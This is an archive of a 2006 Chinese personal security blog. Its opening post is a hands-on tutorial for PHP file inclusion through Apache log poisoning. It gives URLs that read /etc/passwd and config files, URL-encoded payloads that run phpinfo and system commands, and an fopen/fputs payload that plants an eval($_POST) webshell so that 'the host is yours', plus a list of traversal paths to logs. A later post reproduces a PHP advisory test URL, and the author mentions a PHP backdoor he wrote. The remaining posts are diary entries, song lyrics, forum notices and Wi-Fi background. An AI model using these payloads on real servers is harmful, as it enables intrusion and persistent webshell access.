2006年03月


Author:Zizzy
Blog:http://2096.blogbus.com/
Team:http://www.wolvez.org
Date:2006-3-15


  关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行。当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。
比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

<? include($zizzy); ?>   //包含变量$zizzy

你可以
http://xxx.com/z.php?zizzy=/etc/inetd.conf
http://xxx.com/z.php?zizzy=/proc/cpuinfo
http://xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。

那么关于日志包含下面我们来看:
比如我们的Apache的服务器配置文件位置在这里
/usr/local/apache/conf/httpd.conf
那么我们来包含一下httpd.conf,来看下路径信息什么的
http://xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出Apache的配置信息,这里列出部分信息。
<VirtualHost 218.63.89.2>
User #3
Group silver
ServerAdmin webmaster@xxx.com
DocumentRoot /home/virtual/www.xxx.com
ServerName www.xxx.com
ServerAlias xxx.com
ErrorLog /home/virtual/www.xxx.com/logs/www-error_log
CustomLog /home/virtual/www.xxx.com/logs/www-access_log common
ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/
Alias /icons/ /home/virtual/www.xxx.com/icons
</VirtualHost>

而我们提交http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 2005] [error] [client 218.63.194.76] File does not
exist: /home/virtual/www.xxx.com/hack.php
[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not
exist: /home/virtual/www.xxx.com/111111111.php
[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not
exist: /home/virtual/www.xxx.com/22222.php3
[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/forum
[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/blog
[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke
directory as script: /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

比如我们提交要提交这句,<?phpinfo();?> //查看php的相关信息
在这里,我们只能提交URL编码模式,因为我在测试中发现,<?的标记并不被记录,只有转换成URL编码提交才会被完整记录。

在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的<?phpinfo();?>,我们提交
http://www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E

这样肯定会报出错找不到页面,而一出错就被记在错误日志里了
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log
这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。


如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),
这样子也不错,
<?system("ls+-la+/home");?>   //执行命令列出home下的文件列表,记得转换为URL格式哦。

/home/
total 9
-rw-r--r--   1 www.xxx.com   silver       55 Jan 20 23:01 about.php
drwxrwxrwx   4 www.xxx.com   silver     4096 Jan 21 06:07 abc
-rw-r--r--   1 www.xxx.com   silver     1438 Dec 3 07:39 index.php
-rwxrwxrwx   1 www.xxx.com   silver     5709 Jan 21 20:05 show.php  
-rw-r--r--   1 www.xxx.com   silver     5936 Jan 18 01:37 admin.php
-rwxrwxrwx   1 www.xxx.com   silver     5183 Jan 18 15:30 config.php3
-rw-rw-rw-   1 www.xxx.com   silver   102229 Jan 21 23:18 info.txt
drwxr-xr-x   2 www.xxx.com   silver     4096 Jan 8 16:03 backup
-rw-r--r--   1 www.xxx.com   silver     7024 Dec 4 03:07 test.php

这样就列出了home下的文件
或者直接一句话木马<?eval($_POST[cmd]);?>,
这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。
我们提交
http://www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E

再用lanker的一句话木马客户端一连就OK了。


因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

比如还是这句一句话木马
<?eval($_POST[cmd]);?>  

到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");fclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志,提交
http://xxx.com/z.php?zizzy=/home/virtual/www.xxx.com/logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。
附:收集的一些日志路径
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log    
../apache/logs/error.log    
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log




绿盟上看见的

发布日期:2006-03-29
更新日期:2006-03-29

受影响系统:

PHP PHP < 5.1.3-RC1

不受影响系统:

PHP PHP 5.1.3-RC1

测试方法

<?php

   $foobar=html_entity_decode($_GET['foo']);
   echo $foobar;

?>

提交如下测试连接
http://hostname/index.php?foo=%00sssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss \
sssssssss




这首歌是我们学院06年元旦晚会的最后一个节目,是我们作为大4学生最后一次参加学院集体活动的最后一个节目,是我自己作为学生参加的最后一场晚会的结束曲,是的,一切都该谢幕了......

我喜欢一回家就有暖洋洋的灯光在等待,
我喜欢一起床就看到大家微笑的脸庞,
我喜欢一出门就为了家人和自己的理想打拼,
我喜欢一家人心朝着同一个方向眺望.
哦!
我喜欢快乐时马上就要和你分享,
我喜欢受伤时就想起你们温暖的怀抱,
我喜欢生气时就想起你们永远包容多么伟大,
我喜欢旅行时为你把美好记忆带回家.

因为我们是一家人,
相亲相爱的一家人,
有缘才能相聚,有心才会珍惜,
何必让满天乌云遮住眼睛.

因为我们是一家人,
相亲相爱的一家人,
有福就该同享,有难必然同当,
用相知相守换地久天长.

我喜欢一回家就把乱糟糟的心情都忘掉,
我喜欢一起床就带给大家微笑的脸庞,
我喜欢一出门就为了个人和世界的美好打拼,
我喜欢一家人梦朝着同一个方向创造.

哦!
当别人快乐时好像是自己获得幸福一样,
当别人受伤时我愿意敞开最真的怀抱,
当别人生气时告诉他就算观念不同不必激动,
当别人需要时我一定卷起袖子帮助他.

因为我们是一家人,
相亲相爱的一家人,
有缘才能相聚,有心才会珍惜,
何必让满天乌云遮住眼睛.

因为我们是一家人,
相亲相爱的一家人,
有福就该同享,有难必然同当,
用相知相守换地久天长.

处处为你用心,一直最有默契
请你相信这份感情值得感激




如果生活只是一些碎片,是否值得我们一一拾取?

今天去我同学的BLOG上看,很安静的文字,记录了生活中的小事,想法.的确,我们快要毕业了...

我什么话都没有留,因为我觉得当一个人平静的记录生活的时候是不应该被打扰的,即使你有想法,有回忆,有触动...




老大公布了,转贴出来~有特长的朋友愿意来BCT共同讨论的可以留下你们的资料和EMAIL,貌似我可以发邀请的~

BCT的原有论坛模式将更换成邀请模式,论坛名称也将换成Security Box。这个社区的旨在集结一些真正研究信息安全的人士进行自由的交流,营造一个小范围的没有喧嚣和杂乱的纯技术社区,社区将只接受技术上有特长的朋友。论坛的版面划分已经非常明确了,我们小组自身是有两个版面属于自己管理的,内部的资料以及组织的策划,都会在这两个版面发布。而“网站公告”&“纯粹灌水”属于公开版面,任何人事都可以访问。剩下的就是属于小组成员以及认证会员所浏览。
    论坛的邀请注册是限制于“荣誉会员”以及“小组成员”两个组别方可有权邀请,因为避免无条件限制的给予这两个功能组别的邀请权限,所以已经在后台设置了需要积分方可以邀请,希望大家可以见谅。
    论坛是为了营造良好的气氛,所以才会采取这样子的方式,为了避免好像火狐联盟形同虚设的邀请方式,所以希望大家可以明白以下几点:


(1)邀请人的技术不管是黑客、编程、脚本等等方面的信息安全类别,还是基于其他非信息安全类的技术人员都可以

(2)本论坛不限制“荣誉会员”以及“小组成员”的访问权利,就是说除了“普通会员”外,其余的成员都是可以访问论坛所有版面,为了论坛更加透明化,我们是把访问权限公开于除“普通会员”的功能那个组别。所以邀请人的人品一定要好,因为我们的技术以及文章会第一时间公布在此,作为技术讨论之用,不想因为某些人品不好的,泄漏了资料以及技术。更加不欢迎Copyer、Changer等等的废物存在。

(3)邀请人如无任何突出方面,就不能够起到作用,我们不希望论坛存在过多的菜鸟、潜水员、看官、马甲等等的混蛋ID存在。组织以及荣誉会员的资料以及程序都是为了共享以及交流。


邀请人的资料格式:


网名:
QQ:
强项:
特长将不限于网络或者计算机方面
如果你有某个方面的强项,比如会计,法律,甚至摄影等等方面
都是作为发送邀请的参考条件
强项方面越详细的描写将会有更多获取到邀请的可能


网名:
QQ:
强项:
特长将不限于网络或者计算机方面
如果你有某个方面的强项,比如会计,法律,甚至摄影等等方面
都是作为发送邀请的参考条件
强项方面越详细的描写将会有更多获取到邀请的可能



今天提前两站下车,一个人在2环上压马路,思考一个很严重的问题~

引发我思考的因素是今天早上上班路上碰见一个同事,他问我实习一月给多少钱,我说500,他说,靠!连低保都不到啊?我说是,他说,靠!那你可以投诉他了.我没说话,然后他觉得我们是一个公司的不能这么说还有我现在需要安慰,就说,其实去年公司效益不是太好,我说,是的!......

现在我还有527块钱,今天正好是我来北京一个月,来的时候我带了接近1500,等于我一个月消费了近900块钱,其中买过两次书.现在来算一下,我每天中午饭在12块左右,一个月按30天算,就是360块钱,我还剩167块钱,下个月估计手机还要充100块钱,我还剩67块钱,除去加班晚回来要打车正常情况一天路费2块一个月就是60块钱,我还剩7块钱,此时还没有算早晚饭...一般早上只喝袋早餐奶一个星期5天周末懒觉不吃早饭,一个月要110块钱,现在我剩下负103块钱,一般上班回来很累很累在外面吃晚饭一天平均10块钱,一个月又要300,现在我的基本生活保障后我还剩负403块钱...我还没有算买书的,买换季衣服的,加班打车回家的,买菜的,买饮料和零食的,买烟的以及一些特殊情况下的开销,如果我把下月发的工资算进来的话,那下下个月我直接挂了...可是那些没算的又有些是必须花钱的,大概统计一下那些情况同时发生的概率很小,可以除去买衣服和书的,这样下来我现在的固定资产应该是在负600左右...

接着和要饭的做个比较:说要饭其实就是要钱的这里除去卖艺的卖身的和有要饭背景的,就算光坐那什么都不干等人给钱的那种,针对的是要饭工作经验比较丰富,形象比较适合要饭,选择要饭地点比较正确的老要饭的之类,一个月保守估计能收入200-250块钱左右,一般还会有写特殊收入出现,比如抢(别的要饭的)钱,偷(别的要饭的)钱,捡某些人扔的零钱,NND今天我就看见一对情侣走我前面,刚买完东西男的让女的拿一个硬币女的不拿,男的随手就给扔了...妈的,要是扔个红色的估计我就过去捡了...这样一算一个月能收入将近300块.此外他们吃饭一般情况下不用花钱,一些酒店饭馆的剩饭剩菜估计能养活他们,他们也不用买烟,买菜,买零食,上网,坐车等等,所以他们的收入是纯收入.再有些特殊情况,比如哪天遇到一个钻石王老五初恋或者失恋,在兴奋或悲伤之极直接从嘴里掰颗金牙之类的扔给他们....而我是绝对不可能突然加薪超过3位数的...其实要饭的还可以捡废品去卖掉.所以要饭的一个月是盈利300-400之间,我只要不负到4位数就万幸了...

物质上是明显处于下风了,其实要饭的精神生活也很丰富,毕竟要饭的也是个圈子,圈子里面人数众多,有卖艺要饭的可以丰富圈子的文化生活,卖身的可以解决一下圈里人生理上的需要,既然都是圈里的打的半价得了,而有知识背景的要饭的混熟了也能充当管理者举办一些小型活动比如大家用攒的钱集体去吃顿好的,或者去买些书报开阔一下视野,或者直接买车票继续游击他乡...

废话说了一堆主要问题还是没有得到解决,所以我决定!要再找一个途径赚钱,至于这个途径吗....

至今我还没想出来呢.......

PS:女士们先生们,想知道落寂的感觉吗?把你们的钱给我,然后去2环压马路去吧......




本来早上赶时间蒸了半天包子就没蒸熟,一气之下直接不吃了,一肚子气去上班,导火索由此点燃了...

今天坐716上班,本来就晚了,车上人还死多,好不容易到站了,艰难的从座上站起来,可能不小心碰到了一个三八,然后她就大叫:挤什么挤啊?没看见人多啊?

然后我想算了本来人就多,就说了句:切~~~

然后她怒了:切~什么切啊?没看见站都站不稳啊?你故意碰我的吧!!

我真的很无奈了,我只是从座位上站起来而已...然后我以比她高几倍的音量在车上喊了句:滚你妈蛋!!嫌他妈挤打车去啊,没钱还J8乱嚷嚷,闪开!!

现在想起来十分后悔,第一次骂车...以后还是要冷静!!对于这种有娘生没娘教的三八,最好还是在心里诅咒吧!




首先是换服务器了,把大家的BLOG集中到一起了,开了一个新论坛:http://bbs.cnbct.org/index.php

引用代码罐头的话:

基于Ban和我的半玩笑的讨论
这个社区的目的是集结一些真正安全人士进行自由的交流
不用担心讨论的技术细节会被别人利用
因为能进来这里的人都是有一定素质的安全方面的人士.
没有娱乐界的烦扰.炒作和喧闹
有些时候可能稍嫌冷清
但却大家心中永远的绿洲.

我喜欢这样的社区,没有那么多复杂的关系,对技术和组织的炒作,没有对文章的剽窃,大家会第一时间公布自己的研究成果并相互交流,这样多好啊~希望盒子能一直顺利的开下去!

为了营造一片安静的技术讨论氛围,我们停止了用户注册~





    摘要:

现在每天都在学新的东西,感觉真好,以后要和sniffer pro相依为命了

从来没有想过会有一种和工作结合这么紧密的工具~

    (全文共74字)——点击此处阅读全文



"侵蚀者"项目即将开工,初步方案已经出台,H4K_B4N将会公布出来,详情请稍后关注BCT论坛!

最近再搞sniffer报文分析,有用过sniffer pro的朋友不妨对我指点一二,小技巧或注意事项等一切均可,如果有朋友有协议分析的经验或资料也可以联系我MSN:xy7bct@hotmail.com,不盛感激!




今天是第一天上班,感觉还不错,早上9点上班,中午在附近和同事吃饭,AA的,晚上6点下班,以后可能稍微走的晚点,多学点东西~

今天一个人装了天阗的主控端,看了一天的文档,从中学到了不少东西,算是大开眼界了,跟想象中的IDS差别太大了,呵呵,看其中的WEB事件集特别有感觉,好象看到了偶们的OBS啊,呵呵~~~~

可是还是感觉事件不够全面,而且同一个事件会有两个事件名,我还问测试经理这样的话检测到入侵事件,那日志里会记录哪个呢?他说这就是我下一步要研究的了~也是,别人自然是懂得其中的奥妙的,我要学啊~~~狂学啊~~~~

通过看策略向导也发现了,现在WEB攻击已是重中之重,HTTP协议定义的事件数远超过TCP的了,看来应用层的安全现在真的是占主导地位了~

不多说了,今天下午困的不行了,实验室里N多机器对着我散热......

早睡早起身体好~




今天下午,BCT内部举办了第一届QQ麻将精英会,参赛选手有:

我(xY7),h4k_b4n,lanlong,h4k_b4n的妈妈~

我进去的时候积分是正两分,最后比赛结束时我的积分是正69分,最后比赛以黑板的中途退出而告终~

通过这次比赛我们磨合了团队,考验了大家在逆境下的心理素质,切磋了麻将和吹牛的技术,虽然这次比赛我赢了,但我知道胜不骄败不馁,这样才能不停的在麻将桌上取得进步~

希望这次比赛以惨败告终的h4k_b4n同学,吸取比赛中的经验教训,及时总结失败原因,再下次的比赛中取的更好的成绩~

最后,友谊第一,比赛第二.希望大家本着和为贵的原则来看待这次比赛结果!

谢谢大家对我的支持,给予我"BCT赌坛圣手"的称谓,我会继续努力,不会辜负大家对我的期望!!




喜欢这个吊吊的天使,有点象以前的我~虽然我一直都不是个好学生,但我一直都是天使,呵呵~




今天上网乱搜,看到瑞星在18.14.12升级包中已经能查杀我写的这个PHP马了~~~

分类:普通文件病毒(9)

病毒名:81.Backdoor.PHP.PH4ckP

可怜的孩子,还没完全写好就被杀了...

瑞星还真浪漫,在情人节那天公布这个消息,可悲的是我在一个多月后的今天才知道小马惨死的噩耗~

孩子,你挂的光荣,历史会记住你的!

日了,以后加密用让你丫杀!

---------------------------------------------------------------------------------------------------------------------------------

后记:

刚用最新病毒库[3月17日]的江民扫了下,呵呵,孩子,江民大叔还不认识你啊~~~




今天接到启明星辰人力资源部电话,让我下周一上午9点去办入职手续~试用期3个月~

我还是算比较顺利的吧,还没毕业就找到实习单位了~

记录之~~~~喜帖啊~~~~~




鸡蛋:2块3一斤

油麦菜:1块5一斤

黄瓜:2块5一斤

鸡蛋买了14个,一共3块9,因为冰箱里只有14个格子可以放,剩下两个菜出了菜场门就忘记花多少钱了...

还给人打了两个蛋,一个蛋碰到另一个蛋结果自己挂了,被碰的那个撞到旁边的铁栏杆也挂了...

卖蛋大叔:你扔我鸡蛋干吗啊?

我:我没有扔啊?

卖蛋大叔:你没扔,拿手里是它自己往外蹦啊?还是它烫着你了啊?

我:哦,那上面有块鸡屎!我没拿好...

卖蛋大叔:......




铛铛铛铛~~~~超级的不能再超级的宇宙大无敌之前无古鼠后未见来鼠之超强巨无霸史前小地鼠登场:

http://www.cnbct.org/blog/post/159.html

这只地鼠充分体现出PHP的强大和高效,光看没用的,自己测试一下吧~~~~

今天一测试,了不得啊,呵呵~~~~~BLOG之~~~~BLOG之~~~~

PHPDIG,牛啊牛啊牛啊牛~~~~





    摘要:作者:山东大学信息工程学院 韩旭东 无线局域网是计算机网络与无线通信技术相结合的产物。它利用射频(RF)技术,取代旧式的双绞铜线构成局域网络,提供传统有线局域网的所有功能,网络所需的基础设施不需再埋在地下或隐藏在墙里,也能够随需移动或变化。使得无线局域网络能利用简单的存取构架让用户透过它,达到“信息随身化、便利走天下”的理想境界。WLAN是20世纪90年代计算机与无线通信技术相结合的产物,它使用无线信道来接入网络,为通信的移动化,个人化和多媒体应用提供了潜在的手段,并成为宽带接入的有效手段之一。 一、IEEE802.11无线局域网标准   1997年IEEE802.11标准的制定是无线局域网发展的里程碑,它是由大量的局域网以及计算机专家审定通过的标准。IEEE802.11标准定义了单一的MAC层和多样的物理层,其物理层标准主要有IEEE802.11b,a和g。     (全文共11644字)——点击此处阅读全文



原文见:http://www.cnbct.org/blog/post/160.html

无线网络配置

原文见:http://www.cnbct.org/blog/post/45.html

基于802.1x认证技术的应用分析

原文见:http://www.eviloctal.com/forum/htm_data/52/0503/9018.html

WAP的技术特点
原文见:http://www.eviloctal.com/forum/htm_data/52/0504/9717.html

我转啊转啊转啊转~~~

要找就找到幸福!

要输就输给追求!




      Wi-Fi(wireless fidelity(无线保真)的缩写)实质上是一种商业认证,具有Wi-Fi认证的产品符合IEEE 802.11b无线网络规范,它是当前应用最为广泛的WLAN标准,采用波段是2.4GHz。IEEE 802.11b无线网络规范是IEEE 802.11网络规范的变种,最高带宽为11 Mbps,在信号较弱或有干扰的情况下,带宽可调整为5.5Mbps、2Mbps和1Mbps,带宽的自动调整,有效的保障了网络的稳定性和可靠性。

Wi-Fi第一个版本发表于1997年,其中定义了介质访问接入控制层(MAC层)和物理层。物理层定义了工作在2.4GHz的ISM频段上的两种无线调频方式和一种红外传输的方式,总数据传输速率设计为2Mbit/s。两个设备之间的通信可以自由直接(ad hoc)的方式进行,也可以在基站(Base Station, BS)或者访问点(Access Point,AP)的协调下进行。

1999年加上了两个补充版本: 802.11a定义了一个在5GHz ISM频段上的数据传输速率可达54Mbit/s的物理层,802.11b定义了一个在2.4GHz的ISM频段上但数据传输速率高达11Mbit/s的物理层。 2.4GHz的ISM频段为世界上绝大多数国家通用,因此802.11b得到了最为广泛的应用。苹果公司把自己开发的802.11标准起名叫AirPort。1999年工业界成立了Wi-Fi联盟,致力解决符合802.11标准的产品的生产和设备兼容性问题。 802.11标准和补充。

  • 802.11 ,1997年,原始标准(2Mbit/s 工作在2.4GHz)。
  • 802.11a,1999年,物理层补充(54Mbit/s工作在5GHz) 。
  • 802.11b,1999年,物理层补充(11Mbit/s工作在2.4GHz) 。
  • 802.11c,符合802.1D的媒体接入控制层(MAC) 桥接(MAC Layer Bridging) 。
  • 802.11d,根据各国无线电规定做的调整。
  • 802.11e ,对服务等级(Quality of Service, QS) 的支持。
  • 802.11f,基站的互连性(Interoperability) 。
  • 802.11g,物理层补充(54Mbit/s工作在2.4GHz) 。
  • 802.11h,无线覆盖半径的调整,室内(indoor) 和室外(outdoor) 信道(5GHz频段) 。
  • 802.11i,安全和鉴权(Authentification)方面的补充。
  • 802.11n,导入多重输入输出 (MIMO) 技术,基本上是802.11a的延伸版。

除了上面的IEEE标准,另外有一个被称为IEEE802.11b+的技术,通过PBCC技术(Packet Binary Convolutional Code) 在IEEE802.11b(2.4GHz频段) 基础上提供22Mbit/s的数据传输速率。但这事实上并不是一个IEEE的公开标准,而是一项产权私有的技术(产权属于美国德州仪器,Texas Instruments)。也有一些被称为802.11g+的技术,在IEEE802.11g的基础上提供108Mbit/s的传输速率,跟802.11b+一样,同样是非标准技术,由无线网络芯片生产商Atheros所提倡的则为SuperG。

技术简述

网络成员和结构

  • 站点(Station) ,网络最基本的组成部分。
  • 基本服务单元(Basic Service Set, BSS) 。网络最基本的服务单元。最简单的服务单元可以只由两个站点组成。站点可以动态的联结(associate)到基本服务单元中。
  • 分配系统(Distribution System, DS) 。分配系统用于连接不同的基本服务单元。分配系统使用的媒介(Medium) 逻辑上和基本服务单元使用的媒介是截然分开的,尽管它们物理上可能会是同一个媒介,例如同一个无线频段。
  • 接入点(Acess Point, AP) 。接入点即有普通站点的身份,又有接入到分配系统的功能。
  • 扩展服务单元(Extended Service Set, ESS) 。由分配系统和基本服务单元组合而成。这种组合是逻辑上,并非物理上的--不同的基本服务单元物有可能在地理位置相去甚远。分配系统也可以使用各种各样的技术。
  • 关口(Portal) ,也是一个逻辑成分。用于将无线局域网和有线局域网或其它网络联系起来。

这儿有3种媒介,站点使用的无线的媒介,分配系统使用的媒介,以及和无线局域网集成一起的其它局域网使用的媒介。物理上它们可能互相重迭。IEEE802.11只负责在站点使用的无线的媒介上的寻址(Addressing)。分配系统和其它局域网的寻址不属无线局域网的范围。

IEEE802.11没有具体定义分配系统,只是定义了分配系统应该提供的服务(Service) 。整个无线局域网定义了9种服务,

  • 5种服务属于分配系统的任务,分别为,联接(Association), 结束联接(Diassociation), 分配(Distribution), 集成(Integration), 再联接(Reassociation) 。
  • 4种服务属于站点的任务,分别为,鉴权(Authentication), 结束鉴权(Deauthentication), 隐私(Privacy), MAC数据传输(MSDU delivery) 。

Wi-Fi技术突出的优势在于:

        其一,无线电波的覆盖范围广,基于蓝牙技术的电波覆盖范围非常小,半径大约只有50英尺左右约合15米,而Wi-Fi的半径则可达300英尺左右约合100米,办公室自不用说,就是在整栋大楼中也可使用。最近,由Vivato公司推出的一款新型交换机。据悉,该款产品能够把目前Wi-Fi无线网络300英尺接近100米的通信距离扩大到4英里约6.5公里。

  其二,虽然由Wi-Fi技术传输的无线通信质量不是很好,数据安全性能比蓝牙差一些,传输质量也有待改进,但传输速度非常快,可以达到11mbps,符合个人和社会信息化的需求。

  其三,厂商进入该领域的门槛比较低。厂商只要在机场、车站、咖啡店、图书馆等人员较密集的地方设置“热点”,并通过高速线路将因特网接入上述场所。这样,由于“热点”所发射出的电波可以达到距接入点半径数十米至100米的地方,用户只要将支持无线LAN的笔记本电脑或PDA拿到该区域内,即可高速接入因特网。也就是说,厂商不用耗费资金来进行网络布线接入,从而节省了大量的成本。




今天晚上事真多,在B4N老大的博客上看到一篇无线安全的文章,突然间兴趣就上来了,马上找ban要了些资料,可心情还是难以平静,无线真的好神奇啊!!于是看了表快8点了,马上飞奔下楼直奔地铁站,去西单图书大厦买了本<<无线安全>>,都是些入门的正适合我,这下心情稍微平静点了~~~

在ban的淫威下回来继续想关于ban说的那个虚拟主机管理系统,看了数据库连接的文件代码都没有问题,他也说不清怎么回事,完了就直接登陆服务器安装,很奇怪,提示我的操作是升级不是安装,问题出在哪里呢?又看了安装说明,需要GD库的支持,于是我就开始了很弱智的分析:首先,GD库是关于图象函数库,安装需要是很正常的,其次呢,升级按说是代码的修改不会影响到图片,既然安装程序认为是在升级,也就是说于图片无关,也就是说没有GD库也可以,这样就说明在服务器上检测不到GD库,太傻比的分析了.

写代码测试下就行了:

<?
var_dump(gd_info());
?>

我本机有GD库所以返回如下:

